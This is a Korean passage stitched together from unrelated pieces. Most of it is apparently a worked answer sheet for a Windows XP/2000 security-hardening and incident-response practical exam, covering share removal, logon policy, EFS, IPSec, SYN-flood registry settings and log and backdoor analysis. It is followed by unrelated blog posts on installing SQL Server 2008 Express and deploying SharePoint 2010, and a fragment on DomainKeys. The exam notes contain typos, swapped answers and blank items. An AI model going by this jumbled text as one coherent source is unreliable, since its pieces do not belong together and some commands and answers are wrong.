"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters"
- Value name : AutoShareServer
- Data Type : DWORD
- Value : 0(zero)
[기본 공유 제거 - 2000]
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters
- Value name : AutoShareWks
- Data Type : DWORD
- Value : 0(zero)
===> 문제에서는 윈도우 2000 서버로 생각하고 풀어라고 했는데, 윈도우 2000 서버의 기본 공유 제거
방법이 먹히지 않음 (문제를 잘못 낸듯)
XP/2003에서의 기본 공유 제거 방법으로 해야 문제가 풀립니다.
4.익명 보안 옵션Windows XP
(3번문제과 연결된 문제)
4. 대화형 로그온에 불법적으로 접근 시도를 하는 침입자를 위해
경고 문구를 생성하고 마지막으로 로그온한 사용자 계정을 감추어라.
[제목: 올바른 인증 없이 계속 진행하면 시스템에 대한 공격으로 간주합니다.]
[내용: 이 시스템은 권한 있는 사용자만 사용할 수 있습니다.
무단 접근을 시도하면 기소 사유가 됩니다.]
=>
[경고 문구 입력]
"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system" 에
LegalNoticeCaption (제목)
LegalNoticetext (내용) 에 각각 해당 사항 입력
[마지막 로그온한 사용자 계정 감추기]
"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system" 에
"dontdisplaylastusername" 을 "1"로 설정
5. 권한 없는 사용자가 서버의 계정 이름 목록을 수집하여 암호를 추측하거나
`사회 공학적 해킹`방법을 수행하는 형태의 접근을 차단하기 위해
아래와 같이 익명 접근을 제한하여라.
A. 콘솔 로그온 시 로컬 계정에서 빈 암호 사용 제한
=>
"로컬 보안 설정 > 로컬 정책 > 보안 옵션" 정책중에
"계정: 콘솔 로그온 시 로컬 계정에서 빈 암호 사용 제한"을 사용으로 변경
B. SAM 계정의 익명 열거 허용 안함
=>
"로컬 보안 설정 > 로컬 정책 > 보안 옵션" 정책중에
"네트워크 액세스: SAM 계정과 공유의 익명 열거 허용 안 함 "을 사용으로 변경
C. SAM 계정과 공유의 익명 열거 허용 안함
=>
"로컬 보안 설정 > 로컬 정책 > 보안 옵션" 정책중에
"네트워크 액세스: SAM 계정의 익명 열거 허용 안 함 "을 사용으로 변경
6. 각종 바이러스, 웜 감염에 대비하여 운영체제 시작 시 자동으로 공유되는
관리용 폴더를 검색하여 `C:\MgtShare.txt` 파일로 저장하여라.
또한 현재 공유되어 있는 모든 관리용 폴더를 삭제하고 재 부팅 시에도
공유되지 않도록 레지스트리 값을 설정하여라.
=>
[관리용 폴더를 검색하여 저장]
net share > c:\MgtShare.txt
[현재 실행 중인 기본 공유 제거]
net share IPC$ /delete (IPC는 커맨드로 삭제 불가능 - 서비스를 지워야함)
net share c$ /delete
net sharee admin$ /delete
[기본 공유 제거 - XP / 2003]
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters
- Value name : AutoShareServer
- Data Type : DWORD
- Value : 0(zero)
5.관리자 계정 보안
1. 현재 관리자 sid값은 무엇인가?
=>
실행(ctrl+r) > cmd
c:\>user2sid administrator
S-1-5-21-796845957-412668190-839522115-500
Number of subauthorities is 5
Domain is KISA-1
Length of SID in memory is 28 bytes
Type of SID is SidTypeUser
c:\>getsid \\kisa-1 administrator \\kisa-1 administrator
The SID for account KISA-1\administrator matches account KISA-1\administrator
The SID for account KISA-1\administrator is S-1-5-21-796845957-412668190-839522115-500
2. 관리자 이름을 `eent123x`로 변경하여라. 변경 이후 관리자 sid값은 무엇인가?
=>
[관리자 이름 변경]
"로컬 보안 설정>로컬 정책 > 보안 옵션" 에 정책중
"계정 : Administrator 계정 이름 바꾸기" 값을 eent123x로 변경한다.
[변경 이후 관리자 sid 값]
1번 같은 방법으로..
3. 가짜 Administrator 계정을 만들고 guest 그룹으로 등록하여라.
=> "제어판 > 관리도구 > 컴퓨터 관리"에
"로컬 사용자 및 그룹 > 사용자"에서
"오른쪽 클릭 > 새 사용자"클릭 이름을 Administrator로 정하고 확인
목록에서 Administrator 우클릭> 속성에 "소속 그룹" 탭에서
"추가" 클릭> 그룹선택에서 "고급" 클릭
"지금 찾기"클릭후 목록에서 Guest 계정 클릭하고 확인
기존에 등록되어있던 소속 그룹은 삭제한다.
4. 패스워드 크랙 방지를 위해 SAM 데이터 베이스를 128bit로 암호화 시켜라.
=> 실행>cmd
c:>syskey
Windows XP 계정 테이터베이스 보안
암호화 사용> 확인
6.패치 및 업데이트 관리
※ 주의 : MBSA(Microsoft Baseline Security Analyzer)를 이용하여 해결하시오.
1. 현재 시스템에서 업데이트가 이루어지지 않았거나 잘못된 업데이트는
모두 몇 개 인가?
=> C:\Program Files\Microsoft Baseline Security Analyzer\mbsa를 실행한다.
17개
2. 현재 시스템에서 나타난 취약점은 모두 몇 개 인가?
0개
7.Windows XP 폴더 보안
Windows XP Professional을 사용하는 중소기업에서 개인 공유 폴더에 대한 보안을
아래와 같이 설정하려고 한다.
1. `4분기영업자료` 공유 폴더를 share_user 라는 사용자만 네트워크를 통해
읽기 가능하도록 설정하여라.
=> 해당 폴더 우클릭 > "공유 및 보안" 클릭
공유설정 확인한다.
사용자 제한설정이 나오지 않는다면 탐색기>도구>폴더 옵션 "보기"탭에서
"모든 사용자에게 동일한 폴더 공유 건한을 지정"에 체크를 해제한다.
"사용권한" 클릭 > "추가" 클릭 > "고급" 클릭 > "지금 찾기" 클릭
share_user 를 찾아서 확인
기존에 등록된 그룹또는 사용자는 삭제한다.
2. `4분기영업자료` 폴더에 접근할 사내 직원은 10명이 넘지 않으므로 10명만
동시 접속이 가능하도록 설정하여라
=>
"공유 및 보안"에서 사용자 제한> "허용 인원"을 10으로 설정
8.터미널 서비스 보안
1. `ftp_user` 계정만 터미널 서비스에 로그온 할 수 있도록 설정하여라.
=> "실행" > "compmgmt.msc"(컴퓨터관리)
"시스템 도구" > "로컬 사용자 및 그룹" > "사용자" > "ftp_user"추가
내 컴퓨터 > 속성 > "원격"탭에서 원격데스크톱에 사용자 추가 ftp_user
2. 기본적인 터미널 서비스 포트 3389/tcp를 3147포트로 변경하여라.
아래 레지스트리 경로로 이동하여 터미널 서비스 접속 포트를 변경 하여 준다.
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp 에서 Port number 수정
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp 에서 Port number 수정
10진수를 선택하고 3147을 넣어주면 된다.
9.레지스트리 보안
웜이 시스템 시작 시 레지스트리로부터 실행되는 것을 막기 위해 자동 실행관련
레지스트리 키를 찾아 관리자 그룹(administrators), 시스템 그룹(SYSTEM)만
접근 가능하도록 설정하였다.
1. 바이러스 웜 및 악성 프로그램이 시스템에 설치되었는지 감사하고자 한다.
자동 실행 관련 레지스트리 키의 `값 설정`, `삭제`, `하위 키 추가 성공`,
`연결 만들기` 이벤트 발생시 감사로그가 남도록 설정하여라.
HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersion의 Run, RunOnce, RunServices
HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersion의 Run, RunOnce, RunServices, RunServicesOnce
2. 패스워드 무작위 대입 공격이나 바이러스 웜 감염을 막기 위해 원격에서
레지스트리 조작을 허용하지 않도록 설정하여라
=> 실행 > services.msc
"Remote Registry" 항목 "사용 안함"으로 설정
10.전자 메일 보안
1. 바이러스 가능성이 있는 첨부파일을 저장하거나 열 수 없도록 설정하여라.
=> OutLook Express 실행 > "도구" > "옵션"
"보안"탭에 "바이러스 가능성이 있는 첨부 파일을 저장하거나 열 수 없음" 체크
2. 다른 응용 프로그램에서 나를 발신인으로 하는 메일을 보낼 때 경고하도록
설정하여라.
=> OutLook Express 실행 > "도구" > "옵션"
"보안"탭에 "다른 응용 프로그램에서 나를 발신인으로 하는 메일 보낼 때 경고" 체크
3. 선정적인 HTML이나 악성 HTML, 스파이웨어 등으로부터 컴퓨터를 보호하기 위해
수신된 모든 전자메일을 평문(Text)으로 읽을 수 있도록 설정하여라.
=> OutLook Express 실행 > "도구" > "옵션"
"읽기" 탭에 "일반 텍스트로 모든 메시지 읽기" 체크
4. 제목이 `[광고], (광고), [광 고], (광 고)`로 표기된 메일을 모두
`광고메일` 함으로 이동시키는 필터 규칙을 만들고 적용하여라.
(단, 규칙 이름은 `광고메일` 로 지정한다.)
=> "도구" > "메세지 규칙" > "메일" 클릭
1. 규칙의 조건 선택 에서 "제목란에 특정 단어 포함" 선택
2. 규칙의 동작 선택 에서 "지정된 폴더로 이동" 선택
3. 규칙 설명에서 특정단어와 지정된 폴더 클릭으로 들어가서 선택
4. 규칙 이름에 "광고메일" 입력
5. 제품 등록 키를 PGP로 암호화하여 수신된 E-Mail이 있다.(개인키 : kisa12#$)
전자메일 메시지 내의 제품 정식 등록 키 값은 무엇인가?
=> 메일 전체 복사
트레이아이콘(자물쇠) 클릭 > "clipboard" > decrypt & verify
"개인 키"에 kisa12#$를 입력 확인
제품 등록키 123-24-12345
11.파일 및 폴더 암호화
1. 기밀 파일을 담고 있는 `C:\Documents and Settings\kisa\My Documents`
폴더를 EFS를 사용하여 암호화 하고자 한다. 아래와 같이 설정하여라.
▶ 다른 계정으로 로그온 한 사용자가 접근하지 못하도록 제한하여라.
▶ 현재 폴더 및 하위 폴더에 모두 적용되도록 설정하여라.
[EFS 암호화]
해당 폴더 우클릭 > 속성 > "일반"탭 에서 "고급" 클릭
"보관 가능" 체크
"데이터 보호를 위해 내용을 암호화" 체크 후에 확인
현재 폴더 및 하위 폴더 적용 체크 후 다시 확인
2. `C:\EfsShare`에 EFS로 암호화되어 저장된 파일(sis.txt)을
`sis_admin` 사용자도 읽기 가능하도록 설정하여라.
=>
폴더로 이동하여 sis.txt 라는 파일을 새로 만든다.
1번과 동일하게 암호화 해준다.
c:\EFShare안에 sis.txt 파일을 만들고 똑같이 EFS로 암호화 하되 자세히를 눌러 접근 가능한 사용자를 추가해 준다.
자세히가 클릭이 안될경우
속성에 "보안" 탭에 sis_admin 사용자를 추가 한다.
3. 패스워드 분실 및 계정 삭제, 디스크 포맷등과 같은 만일의 사태에 대비하여
암호화한 파일 및 폴더를 복구 할 수 있도록 인증서를 백업(C:\EFSBackup.cer)하여라
=> "실행" > mmc > 파일 > 스냅입 추가/제거
인증서를 추가 한다.
인증서에서 "신뢰된 사용자" > "인증서"에서
"sis_admin" 우클릭 > 모든작업 > 내보내기
12.인터넷 익스플로어 보안
1. 공용 컴퓨터에서 인터넷 뱅킹 뿐만 아니라 사적인
컴퓨팅 활동을 보호 하려고 한다. 웹 사이트에서 입력된 사이트 주소,
사용자 ID 및 패스워드를 저장 시키지 않기 위한 옵션과 최근 방문했던
모든 사이트의 주소를 삭제하여라.
=> 익스플로러 > 속성 > "일반" 탭에서 쿠키 및 임시파일
인터넷 접속 목록을 모두 삭제 한다.
[사용자 ID 및 패스워드를 저장 시키지 않기]
익스플로러 > 속성 > "내용" > "자동 완성" 클릭
자동완성 대상을 모두 체크를 해제 한다.
2. 개인 보호 정책이 없는 제 3사 사이트로부터 쿠키를 차단 시키고,
제 1사 쿠키만을 허용하도록 쿠키 보안을 설정하여라.
=> 익스플로러 > 속성 > "개인 정보" 탭에서 "고급" 클릭
제 1사 쿠키 는 "적용"
제 3사 쿠키 는 "차단" 으로 적용한다.
13.DoS공격 방어
아래와 같이 웹 서버가 초당 1000개 이상의 SYN 패킷을 받고 있었다.
앞으로 이런 유형의 공격을(DoS) 방어하기 위한 레지스트리 값을 설정하여라.
C:>netstat -na | findstr ` SYN_RECEIVED`
TCP 211.241.82.71:80 6.55.194.236:51370 SYN_RECEIVED
TCP 211.241.82.71:80 16.192.252.18:22452 SYN_RECEIVED
TCP 211.241.82.71:80 49.5.243.221:52363 SYN_RECEIVED
TCP 211.241.82.71:80 50.145.99.80:46108 SYN_RECEIVED
TCP 211.241.82.71:80 51.53.109.147:28308 SYN_RECEIVED
TCP 211.241.82.71:80 61.58.85.212:52375 SYN_RECEIVED
TCP 211.241.82.71:80 63.33.85.135:32111 SYN_RECEIVED
TCP 211.241.82.71:80 67.206.19.195:28501 SYN_RECEIVED
TCP 211.241.82.71:80 68.79.239.155:42810 SYN_RECEIVED
TCP 211.241.82.71:80 221.29.79.118:36387 SYN_RECEIVED
=>서비스 거부 공격을 원천적으로 막을 수 있는 방법은 아직 없지만
윈도우는 TCP/IP 스택을 강화하면 일부 정도는 막을수 있다.
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\tcpip\parameters " 에
다음과 같은 항목을 추가한다.
name hex값(10진)
EnableICMPRedirect 0
SynattackProtect 2
TcpMaxHalfOpen 64(100)
TcpMaxHalfOpenRetried 64(100)
EnableDeadGWDetect 0
EnablePMTUDiscovery 0
KeepAliveTime 493e0(300000)
DisableIPSourceRouting 2
TcpMaxConnectResponseRetransmissions 2
TcpMaxDataRetransmissions 3
PerformRouterDiscovery 0
TcpMaxPortsExhausted 5
NoNameReleaseOnDemand 1
14.IPSec 보안
1. 외부의 특정 네트워크 대역으로부터 SMB Login Burst Force 공격이
지속적으로 발생되고 있다.
해당 네트워크 대역으로부터 서버를 보호하기 위한 IPSec 환경을 구성하여라.
(단, 보안정책 이름은 CIFS_DCOM Deny 로 지정한다.)
=> 로컬 보안 설정 > "로컬 컴퓨터의 IP 보안 정책"에
새 정책을 "CIFS_DCOM Deny"로 등록 한다.
2. 다른 서버에서도 적용 가능하도록 정책을 저장하여라[C:\Default_Care.ipsec].
내보내기로 저장
15.TCP/IP 필터링
1. 공개적인 웹 서비스를 구축하기 위해 TCP/IP 필터링을
사용하여 아래와 같이 구성하여라.
▶ 재시작 후에 웹 서비스 포트(80/TCP, 443/TCP)만 접근 가능하도록 설정하여라.
=> 네트워크 연결 > 로컬 네트워크 속성 > 인터넷 프로토콜 속성 >
"고급" 클릭 > 고급 tcp/ip 설정에 "옵션" 탭에 > 속성
TCP/IP 필터링 사용(모든 어댑터) 체크
다음만 허용 체크후에 포트 추가
tcp -> 80, 443
udp -> 없음.
ip -> 6
ip에 6번을 추가하는 이유
Decimal Keyword Protocol
======= ======= ==============
0 HOPOPT IPv6 Hop-by-Hop Option
1 ICMP Internet Control Message
2 IGMP Internet Group Management
3 GGP Gateway-to-Gateway
4 IP IP in IP (encapsulation)
5 ST Stream
6 TCP Transmission Control
7 CBT CBT
8 EGP Exterior Gateway Protocol
9 IGP any private interior gateway
(used by Cisco for their IGRP)
2. IPSec을 사용하여 아래와 같이 구성하여라.
▶ 웹 서버가 Ping에 응답되지 않도록 설정하여라.
(단, 보안정책 이름은 ICMP_ECHO Deny 로 지정한다.)
=>
머리속에 있음.
16.인터넷 연결 방화벽ICF
Windows XP에서 외부 공격을 효율적으로 차단하기 위해
ICF(Internet Connection Firewall)을 사용 하기로 하였다.
아래와 같이 구성하여라.
1. 211.241.82.71에서만 원격 데스크톱 서비스에 접근 가능하도록 설정하여라.
2. 원격 데스크톱 서비스에 접근 성공한 로그를 남기도록 설정하여라.
3. ping 요청에 응답하지 않도록 설정하여라.
17.이벤트 로그 분석
※C:LogParser를 사용하시오
피해 시스템에서 가져온 보안 이벤트 로그(C:sec_security.evt)를 분석하여
아래 질문에 답하시오. (시간은 `2004-11-24 19:30:29` 의 형태로 입력해야 함.)
1. 최초 침입자가 시스템에 네트워크로 로그온 성공한 시간과 사용자명,
컴퓨터 이름은 무엇인가?
=>
네트워크 로그온 이벤트 ID : 540
logparser "select * from sec_security.evt where eventid = 540" -o:csv > 515.csv
[로그온 성공한 시간] : 2003-08-13 20:07:24
[사용자명] : admin
[컴퓨터 이름] : SHANLUZ
Burst-Force Attack 성공 EventID : 680, 576, 540, 538
네트워크 로그온 command session 연결 성공 EventID : 680, 576, 540, 515
2. 원격 로그온에 사용된 프로세서는 무엇인가?
=> psexesvc.exe
3. 두 번째 침입자가 시스템에 네트워크로 로그온 성공한 시간과 사용자명,
컴퓨터 이름은 무엇인가?
[로그온 성공한 시간] :2003-08-13 20:24:25
[사용자명] : admin
[컴퓨터 이름] : UHUHLY
4. 원격 로그온에 사용된 프로세서의 윈도우 서비스 명은 무엇인가?
=>Tlntsvr.exe
18.인터넷 익스플로어 악성 프로그램 대응
1. 인터넷 익스플로어를 실행할 때마다 인터넷 옵션의
시작 페이지를 http://www.sis.or.kr 로 변경하였음에도 불구하고
http://movie2.ce.ro/로 계속 변경 되고 있다.
시작 페이지와 관련된 레지스트리 값을 모두 찾아
http://www.sis.or.kr로 변경하여라.
2. 인터넷 익스플로어 주소창에 등록되지 않은 도메인을 입력할 경우
원하지 않는 사이트(http://prosearching.com)로 이동되고 있다.
위와 관련된 레지스트리 값을 모두 찾아 www.sis.or.kr로 변경하라.
=> 아래에 나와있는 레지스트리를 찾아서 바꾸면된다.
혹은 검색해서 변경해도 결과는 같다.
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\CustomizeSearch
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Search Page
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\StartPage
HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\CustomizeSearch
HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\Search Page
HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\SearchAssistant
HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\Start Page
19.악성 프로그램 대응서비스
윈도우 2000 Server 시스템이 해킹 당한 것으로 의심되었다.
백신 프로그램으로 바이러스 감염여부를 조사하였지만 특별한 이상은 없었다.
시스템 관리자가 유심히 지켜본 결과 특정 네트워크 포트를 통해 시스템에
지속적으로 접근한다는 사실과 서버를 재 부팅하여도
계속적으로 동일한 현상이 발생한다는 것을 알았다.
1. 침입자가 설치한 백도어 파일 이름과 백도어 포트는 무엇인가?
※C:fport를 사용하시오
fport 를 실행시키면
pid3388 / c:\windows\system32\ismshrv.exe 이녀석이 실행되고 있음.
20.악성 프로그램 대응dll
윈도우 2000 Server 시스템이 해킹 당한 것으로 의심되었다.
백신 프로그램으로 바이러스 감염여부를 조사하였지만 특별한 이상이 없고,
윈도우 작업 관리자를 통해 실행중인 프로세서 목록을 점검하여도 의심될 만한
프로그램이 없었다. 시스템 관리자가 유심히 지켜본 결과 침입자가
동적 연결 파일(Dynamic Linking Library File)를 이용한다는 것과
서버를 재 부팅하여도 계속적으로 동일한 현상을 발생 시킨다는 것을 알았다.
또한 특정한 외부 웹 서버로 일정 시간마다 SYN패킷을 보내고 있다는 것도 알았다.
1. 악성 프로그램이 이용하고 있는 서비스 이름과 DLL 파일, 포트는 무엇인가?
※C:\listdlls를 사용하시오
listdlls -? //도움말을 볼 수 있다.
시간이 너무 오래 걸려서 explorer만 확인해보았다.
c:> listdlls explorer.exe
hgfs.dll 만 버젼 정보가 나오지 않는다.. 수상한것으로 판단했다.
나머지 이런것들도 있단다.
iexplorer.dll
explorer.dll
msexcel.dll
21.악성 프로그램 대응.bat 레지스트리 실행
네트워크 관리자로부터 현재 사용중인 Windows 컴퓨터가 이상 트래픽이
발생된다는 보고를 받았다. CPU 사용률이나 메모리 점유율이 평소와 크게
차이가 없고, netstat 명령을 이용하여 네트워크 접속 상황을 점검하여도
특이할 사항이 발견되지 않았다. 그러나 윈도우 배치프로그램 실행할 때마다 동시에
알지 못할 프로세서가 시작된다는 것을 알았다.
1. 악성 프로그램 실행(.exe) 파일의 Original Filename은 무엇인가?
2. 악성 프로그램 제작자의 Messenger ID는 무엇인가?
3. 악성 프로그램이 변경한 시스템 환경을 원래대로 복구 하여라.
※C:\exefileinfo, Process Explorer등을 사용하시오
=> 프로세스 익스플로러를 실행시킨다.
윈도우 배치 프로그램이 수상하다 했으니 system32\ 파일을 검색해보자
3개에 배치파일일 검색된다.
ready.bat
start.bat
parsng.bat
ready.bat을 실행 시키로 프로세스 익스플로러를 확인해 보니
igmp.exe 라는 프로그램이 지속적으로 실행 종료를 반복하고 있다.
igmp.exe 프로그램도 system32\ 폴더에 있다.
exefileinfo 프로그램을 이용하여 igmp.exe를 열어보면
제일 아래쪽에 파일 설명이 나와있다.
파일 설명 : port of kiss of death dos attack to windows
버젼 : 1.2.0.0
저작권 : Kalibre (metinsdr@hotmail.com)
최초파일명 : bomba.exe
MS SQL Server 2008 Express Edition 설치하기.
http://www.microsoft.com/korea/sqlserver/2008/
1) .NET Framework
아래 SQL Server 2008 시리즈를 설치하려면 .NET Framework가 필요합니다. 2005는 2.0이 필요했는데 2008은 잘 모르겠네요. Windows Vista, Windows Server 2008 유저라면 .NET Framework를 설치하지 않아도 됩니다. 기본으로 3.0이 깔려있거든요. 아니 3.5던가-.- 여튼.
http://www.microsoft.com/downloads/details.aspx?displaylang=ko&FamilyID=ab99342f-5d1a-413d-8319-81da479ab0d7
.NET Framework 3.5 SP1
2) Windows Installer 4.5
http://www.microsoft.com/downloads/details.aspx?familyid=5A58B56F-60B6-4412-95B9-54D056D6F9F4&displaylang=ko
SQL Server 2008을 설치하기 위해 새로운 버젼의 Windows Installer가 필요합니다. XP, Vista, 2003, 2008 사용자들 모두 받아서 설치하셔야 합니다. 비스타 최신버젼으로 항상 업데이트 하는데 4.5는 권고사항이 아닌지 자동으로 업데이트 하지는 않는군요. 자 설치 후 윈도 재시작을 합시다.
3) Windows PowerShell
http://www.microsoft.com/downloads/details.aspx?FamilyID=c6ef4735-c7de-46a2-997a-ea58fdfcba63&displaylang=ko&Hash=q16zriLf9%2bvbBNjIAiEzg9%2bsT1k8UgwO7qoAnWIVumx7GpCL4Y5iFpet8c%2fSyYvVpqCxGv8G%2fTcs9c05QshDjg%3d%3d
Windows Vista 사용자 대상입니다.
http://www.microsoft.com/downloads/details.aspx?FamilyID=c61fb27b-e71c-4ecf-9d2c-9b299b149490&displaylang=ko
이건 Windows Server 2003
http://www.microsoft.com/downloads/details.aspx?FamilyID=30125a46-b97c-4704-aa10-605e809d5933&displaylang=ko
이건 Windwos XP 용
1. 다운로드
http://www.microsoft.com/express/sql/download/
- SQL Server 2008 Express with Tools
- SQL Server database engine - create, store, update and retrieve your data
- SQL Server Management Studio Basic - visual database management tool for creating, editing and managing databases
- SQL Server 2008 Express with Advanced Services
- SQL Server database engine - create, store, update and retrieve your data
- SQL Server Management Studio Basic - visual database management tool for creating, editing and managing databases
- Full-text Search - powerful, high-speed engine for searching text-intensive data
- Reporting Services - integrated report creation and design environment to create reports
- SQL Server 2008 Express (Runtime Only)
- SQL Server database engine - create, store, update and retrieve your data
이렇게 세가지 중에 골라서 자기 환경에 맞는 것을 설치합니다.
대체로 SQL Server 2008 Express with Tools를 설치하겠지요.
2. 설치하기
뭐 별거 있나요. 받은 EXE 파일 실행합시다 -p-
좌측 "설치" 메뉴에 "새 SQL Server 독립 실행형 설치 또는 기존 설치에 기능 추가" 입니다.
그리고 그냥 다음, 확인, 설치 버튼 쭉 눌러가다보면 끝.
이상 설치 한 후 써본 소감은.
기존 SQL Server 2005에 비해 쿼리 작성기가 많이 편해졌다. 코드 하이라이팅은 원래 됬는데, Visual Studio 처럼 자동 완성 기능이 생겼다 (!!!!!!!!!)
이상 눈에 띄는 좋은 점 끝.
테스트 환경에 SharePoint Server 2010 배포
저는 이번 주초에 테스트 컴퓨터를 구성하고 테스트 환경에 Project Server 2010 배포에 나와 있는 유용한 지침에 따라 새로운 SharePoint Server 2010 테스트 환경을 설치했습니다. 이 문서 시리즈는 Project Server 사용자를 위한 것이지만 Project Server 2010의 필수 구성 요소인 SharePoint Server 2010의 테스트 배포를 성공적으로 수행하는 데에도 도움이 될 것입니다. 이 블로그 게시물에서는 이러한 지침을 사용하여 Project Server 2010 없이 SharePoint Server 2010을 배포하는 경우 수행하는 작업이 어떻게 달라지는지에 대해 설명하겠습니다.
저의 참고 설명에 나와 있는 수정 내용과 함께 다음 링크의 지침을 준수하여 아래 서버가 포함된 가상 테스트 환경을 구현해야 합니다.
- 가상 도메인의 도메인 컨트롤러(Litware-DC)
- Microsoft SQL Server 2008이 실행되는 서버(Litware-SQL)
- Microsoft SharePoint Server 2010이 실행되는 서버(Litware-SP2010)
몇 가지 참고할 사항:
-
이러한 지침은 테스트 환경을 배포하기 위한 것입니다. 프로덕션 환경에서 SharePoint Server 2010을 가상 컴퓨터에 배포하는 경우에는 가상 컴퓨터 지침(SharePoint Server 2010)을 확인해야 합니다.
-
Hyper-V를 사용하지 않고 단일 서버만 배포하는 경우 SQL Server가 설치된 단일 서버 배포(SharePoint Server 2010) 또는 기본 제공 데이터베이스가 포함된 단일 서버 배포(SharePoint Server 2010)를 참조하십시오.
이러한 지침에서는 사용자가 소프트웨어를 CD나 DVD 또는 ISO 파일로 가지고 있는 것으로 간주하고 있습니다. 컴퓨터에는 8GB의 RAM과 60GB 이상의 디스크 공간이 있어야 합니다. 시작하기 전에 Hyper-V와 함께 Windows Server 2008 또는 Windows Server 2008 R2를 실행해야 합니다. 64비트 Windows Server 2008 가상 컴퓨터를 실행할 수 있으면 다른 가상화 솔루션도 사용할 수 있습니다.
1. Project Server 2010 테스트 환경을 만들기 위한 Hyper-V 빠른 시작을 읽고 문서의 단계를 수행하십시오. 또한 비디오를 감상(영문일 수 있음)할 수도 있는데 가급적이면 비디오를 활용하는 것이 좋습니다. 여기에 설명된 단계는 다음과 같습니다.
a. Hyper-V를 사용하도록 설정합니다.
b. 가상 컴퓨터가 서로 간에 통신할 수 있도록 내부 가상 네트워크를 구성합니다.
c. 가상 컴퓨터에서 회사 네트워크 및 인터넷과 통신할 수 있도록 외부 가상 네트워크를 구성합니다. 이를 통해 SharePoint Server 2010에서 필수 구성 요소를 다운로드할 수 있습니다.
d. 가상 컴퓨터 세 개를 만듭니다. 이 문서에서는 이러한 가상 컴퓨터의 이름을 각각 Litware-DC(도메인 컨트롤러), Litware-SQL(SQL Server 2008), Litware-Proj(SharePoint Server 2010 및 Project Server 2010)로 지정하고 있습니다. 원하는 아무 이름이나 사용할 수 있으며 마지막 가상 컴퓨터의 이름으로 Litware-SP2010 또는 이와 비슷한 이름을 사용할 수도 있습니다.
e. 가상 컴퓨터에 운영 체제를 로드합니다.
2. 첫 번째 가상 컴퓨터(Litware-DC 또는 첫 번째 단계에서 지정한 이름)의 경우 Project Server 2010 테스트 환경에 대한 도메인 컨트롤러 설정의 지침을 따릅니다. 또한 비디오를 감상(영문일 수 있음)할 수도 있으며 마찬가지로 가능한 한 비디오를 활용하는 것이 좋습니다. 이러한 지침은 다음과 같습니다.
a. 고정 IP 주소를 구성합니다.
b. Litware-DC를 도메인 컨트롤러로 구성합니다. 이렇게 하면 포리스트 루트 도메인인 litware.local이 만들어집니다.
3. 다른 두 가상 컴퓨터(Litware-SQL 및 Litware-SP2010 또는 첫 번째 단계에서 지정한 이름)의 경우 Project Server 2010 테스트 환경에서 가상 도메인에 가상 컴퓨터 추가의 지침을 따릅니다. 마찬가지로 비디오를 감상(영문일 수 있음)할 수도 있습니다. 이러한 지침은 다음과 같습니다.
a. 고정 IP 주소를 구성합니다.
b. litware.local 도메인에 연결합니다.
4. Project Server 2010 테스트 환경에 대한 계정 설정의 지침을 따릅니다. Project Server 2010을 배포하지 않는 경우 마지막 두 계정인 Litware\WFProxy와 Litware\ProjDataAccess를 설정할 필요가 없습니다. 이러한 지침은 다음과 같습니다.
a. SQL Server 관리자, 팜 관리자 및 서비스 응용 프로그램 계정에 대한 Active Directory 서비스 계정을 만듭니다.
b. Active Directory 그룹을 만듭니다(Project Server 2010을 배포하는 경우에만 해당).
5. Project Server 2010 테스트 환경에 대해 SQL Server 설치의 지침을 따릅니다. 또한 비디오를 감상(영문일 수 있음)할 수도 있습니다. 이러한 지침은 다음과 같습니다.
a. 로컬 관리자를 구성합니다.
b. SQL Server 2008을 설치합니다.
c. SQL Server 2008 SP1을 설치합니다.
d. SQL Server 2008 SP1 CU2를 설치합니다.
e. 팜 관리자 계정에 대한 로그인을 만듭니다.
6. Project Server 2010 테스트 환경에 SharePoint Server 2010 설치의 지침을 따릅니다. 또한 비디오를 감상(영문일 수 있음)할 수도 있습니다. 이러한 지침은 다음과 같습니다.
a. 로컬 관리자를 추가합니다.
b. SharePoint Server 2010의 필수 구성 요소를 설치합니다.
c. SharePoint Server 2010을 설치합니다.
이러한 과정을 통해 SharePoint Server 2010의 테스트 배포 환경을 얻게 됩니다. 요구 사항, 배포 시나리오 및 추가 구성에 대한 자세한 내용은 다음 TechNet 문서를 참조하십시오.
- 배포 준비(SharePoint Server 2010). 하드웨어 및 소프트웨어 요구 사항, 필요한 관리 및 서비스 계정, SQL Server의 강화에 대한 정보를 제공합니다.
- 배포 시나리오(SharePoint Server 2010). 단일 및 다중 서버 배포, 가상 환경에서의 배포, Windows PowerShell을 사용한 SharePoint 설치에 대한 정보를 제공합니다.
- 초기 구성(SharePoint Server 2010). 언어 팩 배포, 팜 설정 구성, 서비스 구성 및 호스팅된 환경에서의 SharePoint 배포에 대한 정보를 제공합니다.
-- Andrea Bichsel, 저자
이 문서는 번역된 블로그 게시물입니다. 원본 문서는 Deploy SharePoint Server 2010 to a test environment를 참조하십시오.
Anti-Spam 관련 대응책은 여러 가지가 있는데, SPF, DomainKey.. 또 뭐가 있더라... , 아무튼 여러 대응책이 있다. 이 중, DomainKeys는 야후에서 개발하여 공개하였고, 최근 구글이 적용한 방식이다. 설치 환경은 Fedora Core3, i686 환경이다. 다음 사이트에서 소스를 다운로드 받는다 : http://sourceforge.net/projects/dk-milter/ 설치 과정 전반에 대한 자세한 설명은 다음 사이트를 참조한다. http://www.erikberg.com/notes/milters.html
